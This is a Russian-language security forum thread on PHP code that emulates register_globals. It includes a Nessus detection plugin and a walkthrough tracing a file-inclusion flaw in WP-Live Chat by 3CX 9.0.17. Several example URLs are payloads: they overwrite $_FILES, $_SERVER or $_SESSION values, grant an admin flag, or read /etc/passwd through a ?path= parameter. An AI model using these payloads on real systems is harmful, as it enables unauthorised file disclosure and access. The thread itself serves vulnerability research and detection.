$this - это специальная переменная

Discussion in 'База Знаний' started by crlf, 18 Dec 2019.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    По мотивам https://krober.biz/?p=3306 (веб-архив), с печальным выводом:
    До этого момента, с таким контекстом не встречался и в голову так же не приходило. Поэтому, после прочтения заметки, один юз кейс сразу нарисовался и спешу поделиться с вами :)

    Некоторые PHP разработчики, за каким-то хреном, используют эмуляцию почившего режима Register Globals (RG). Выглядеть это может по разному:
    PHP:
    <?php
    extract
    ($_GET);
    или
    PHP:
    <?php
    parse_str
    ($_SERVER['QUERY_STRING']);
    или
    PHP:
    <?php
    foreach($_GET as $k => $v) $$k $v;
    unset(
    $GET);
    и пр.

    Понятное дело, что при вайтбоксе оно нам и даром не нужно, у нас же всё как на ладони. Но вот при блекбоксе пых приложух, фишечка может очень сильно помочь задетектить такой вот своеобразный RG. Соответственно, тут всплывают все прелести атак типа:

    Code:
    http://site.com/upload.php?_FILES[file][name]=image.jpg&_FILES[file][type]=image/jpeg&_FILES[file][tmp_name]=/etc/passwd&_FILES[file][error]=0&_FILES[file][size]=1000
    
    или
    Code:
    httр://site.com/upload.php?_SERVER[DOCUMENT_ROOT]=zip:///var/lib/php/sessions/sess_test%23
    
    или
    Code:
    httр://site.com/upload.php?_SESSION[admin]=1
    
    и другие варианты, в зависимости от предполагаемой логики работы чёрного ящика :)

    Парочка примеров:
     
    #1 crlf, 18 Dec 2019
    Last edited: 17 Jun 2021
    alexzir, ex0dus, Раrаdох and 7 others like this.
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Для тех, кто любит автоматизацию, плагин для Nessus, который определяет наличие такой ситуации по наличию в заголовках или теле ответа характерного текста

    sc.png

    Code:
    # Pseudo register globals detection
    
    include("compat.inc");
    
    if(description)
    {
        script_id(10797109);
        script_version("1.0");
        script_cvs_date("$Date: 2019/12/19 13:37:00 $");
    
        script_name(english: "Pseudo Register Globals Detection");
    
        script_set_attribute(attribute: "synopsis", value: "Possible pseudo register globals behavior was detected on the remote host.");
        script_set_attribute(attribute: "description", value: "Possible pseudo register globals behavior was detected on the remote host.");
        script_set_attribute(attribute: "solution", value: "Check existing source code. Consider rewriting source code without usage of constructions like: extract($_GET), parse_str($_SERVER['QUERY_STRING']) , etc...");
        script_set_attribute(attribute: "see_also", value: "https://antichat.com/threads/474727/");
       
        script_set_attribute(attribute: "risk_factor", value: "Low");
    
        script_set_attribute(attribute: "plugin_publication_date", value: "2019/12/19");
        script_set_attribute(attribute: "plugin_type", value: "remote");
        script_end_attributes();
    
        script_summary(english: "Reports if response with code 500 occurs upon sending '/?this=abc' request. Additional checks should be made manually.");
        script_category(ACT_GATHER_INFO);
        script_copyright(english: "This script is Copyright (C) Kaimi (https://kaimi.io)");
        script_family(english: "CGI abuses");
    
        script_dependencie("webmirror.nasl", "DDI_Directory_Scanner.nasl");
        script_exclude_keys("Settings/disable_cgi_scanning");
        script_require_keys("Settings/enable_web_app_tests");
        script_require_ports("Services/www");
    
        script_timeout(1800);
    
        exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    
    app = "PHP";
    
    port = get_http_port(default: 80);
    dirs = list_uniq(make_list(cgi_dirs(), get_kb_list("www/" + port + "/content/directories"), ""));
    
    found_list = make_list();
    found_ctr = 0;
    
    foreach dir (dirs)
    {
        path = dir + '/?this=abc';
    
        res = http_send_recv3(
            method : "GET",
            port : port,
            item : path
        );
        if(isnull(res))
            continue;
    
        if
        (
            # Check headers first string
            eregmatch(pattern: '500 Internal Server Error', string: res[0], icase: TRUE)
            ||
            # Check body
            eregmatch(pattern: 'Internal Server Error', string: res[2], icase: TRUE)
        )
        {
            found_list[found_ctr] = path;
    
            found_ctr++;
        }
    }
    
    if(found_ctr > 0)
    {
        report = NULL;
        if (report_verbosity > 0)
        {
            report += '\nNessus was able to detect a suspicious behavior by the following paths:\n';
            report += '\n';
            for (i = 0; i < found_ctr; i++)
            {
                url = found_list[i];
    
                report += 'URL\t\t: ' + build_url(port: port, qs: url) + '\n';
                report += '\n';
            }
        }
    
        security_note(port: port, extra: report);
    }
    else
    {
        audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(port: port, qs: "/"));
    }
    
     
    _________________________
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Пользуясь случаем, рассмотрим применение кейса на реальном примере, который был раскручен с его помощью до RFI (Remote File Include).

    Для локального воспроизведения нам понадобится WordPress 5.5, а так же плагин WP-Live Chat by 3CX версии 9.0.17, который на текущий момент имеет 50 тысяч активных установок.

    [​IMG]


    Запускать всё это дело будем на стенде с Debian 9, веб-сервером Apache/2.4.25 и PHP 7.3.15 с включенным выводом ошибок (display_errors = On).

    [​IMG]

    [​IMG]


    После нехитрой установки WP и плагина, вычищаем все админские куки и следуем на главную страницу нашего новоиспечённого блога.

    [​IMG]


    Следующим шагом, проверяем теорию описанную в первом посте, при помощи простейшего теста, с подставлением GET параметра "?this=1".

    [​IMG]

    Получаем фатальную ошибку, с раскрытием локальных путей, а так же номером строки где она была вызвана. Далее открываем файл в любимом текстовом редакторе и находим это место. Наш кейс всплывает в функии evaluate_php_template:

    ./wp-live-chat-support/includes/helpers/utils_helper.php:
    PHP:
    .      .      .
       public static function 
    evaluate_php_template$path$args ) {
           foreach ( 
    $args as $key => $value ) {
               ${
    $key} = $value;
           }

           
    ob_start();
           include( 
    $path );
           
    $var ob_get_contents();
           
    ob_end_clean();

           return 
    $var;
       }
    .      .      .
    , где невооружённым глазом видно теоретическую возможность удалённого инклуда.

    Если скрипт упал в этом месте, значит пользовательский ввод попадает в $args. Для того чтобы убедиться в этом, поищем в коде плагина места где используется эта функия и в свою очередь обнаружим другую функцию - load_view:


    ./wp-live-chat-support/includes/wplc_base_controller.php:
    PHP:
    .      .      .
       protected function 
    load_view$filepath$return_html=false$add_wrapper=true$children = array() ) {
           
    $data               $this->convert_view_data$this->view_data );
           
    $data["page_title"] = $this->page_title;
           
    $view_data                    array_merge$data$_GET );
           
    $view_data['wplc_settings']   = $this->wplc_settings;
           
    $view_data['selected_action'] = $this->selected_action;
           unset( 
    $data );
           
    $data_literal $this->generate_wrapper_data();
           
    $view_html =TCXUtilsHelper::evaluate_php_template$filepath$view_data );
           if(
    $add_wrapper) {
               
    $result_view '<div id="wplc_wrapper" ' $data_literal '>';
               
    $result_view .= $view_html;
               
    $result_view .= '</div>';
           }else
           {
               
    $result_view $view_html;
           }
           if ( 
    count$children ) > ) {
               
    libxml_use_internal_errorstrue );
               
    $doc               = new DOMDocument();
               
    $doc->formatOutput true;
               
    $doc->loadHTML$result_view );
               foreach ( 
    $children as $child ) {
                   
    $container_element $doc->getElementById$child->id );
                   
    $html              $child->controller->view(true,false);
                   
    $node              $this->createElementFromHTML$doc,$html );
                   
    $container_element->appendChild$node );
               }
               
    $result_view $doc->saveHTML();
           }
           if ( 
    $return_html ) {
               return 
    $result_view;
           } else {
               echo 
    $result_view;
               return 
    true;
           }
       }

    .      .      .

    На третьей строке этой функции видим, что переменная $data объединяется с массивом $_GET. Это как раз то место, когда пользовательские данные без какой-либо обработки попадают в уязвимую функцию evaluate_php_template. А это значит, мы можем изменить переменную $path на любое значение. И сделав запрос вида http://wordpress/?path=/etc/passwd, убеждаемся в этом:

    [​IMG]

    Или так:

    [​IMG]

    [​IMG]



    Теперь давайте разбираться как так произошло :)

    [​IMG]
    [​IMG]
    [​IMG]

    На первом скрине видим, что load_view() в плагине используется повсеместно, для отображения различных страниц темплейтов, с предустановленными зарание переменными и юзеринпутом. Важным аргументом для неё является $filepath, который, как видно, при вызове жёстко прописывается и повлиять на него никак нельзя.

    Далее, подготавливаются некие переменные, для подключаемого шаблона, и массив с этими переменными объединяется с $_GET. И через несколько строк, $view_data, с пользовательскими гет данными, отправляется в функцию evaluate_php_template(), куда так же первым аргументом передаётся захардкоженный $filepath.

    В следующем методе аргументы $args, возможностями переменных переменных глобализуются или переназначаются (неявно) в контексте нашей функции, вероятно, для заполнения подключаемого темплейта.

    Всё бы ничего, но мы передав ?path=/etc/passwd сделали так, что один из ключей перебираемого массива $args является "path", что переназначит значение, казалось бы жёстко прописанной, переменной $path переданой заранее!


    $this is the end ;)
     

    Attached Files:

    #3 crlf, 16 Aug 2020
    Last edited: 12 Jun 2022
    VY_CMa, b3, seostock and 7 others like this.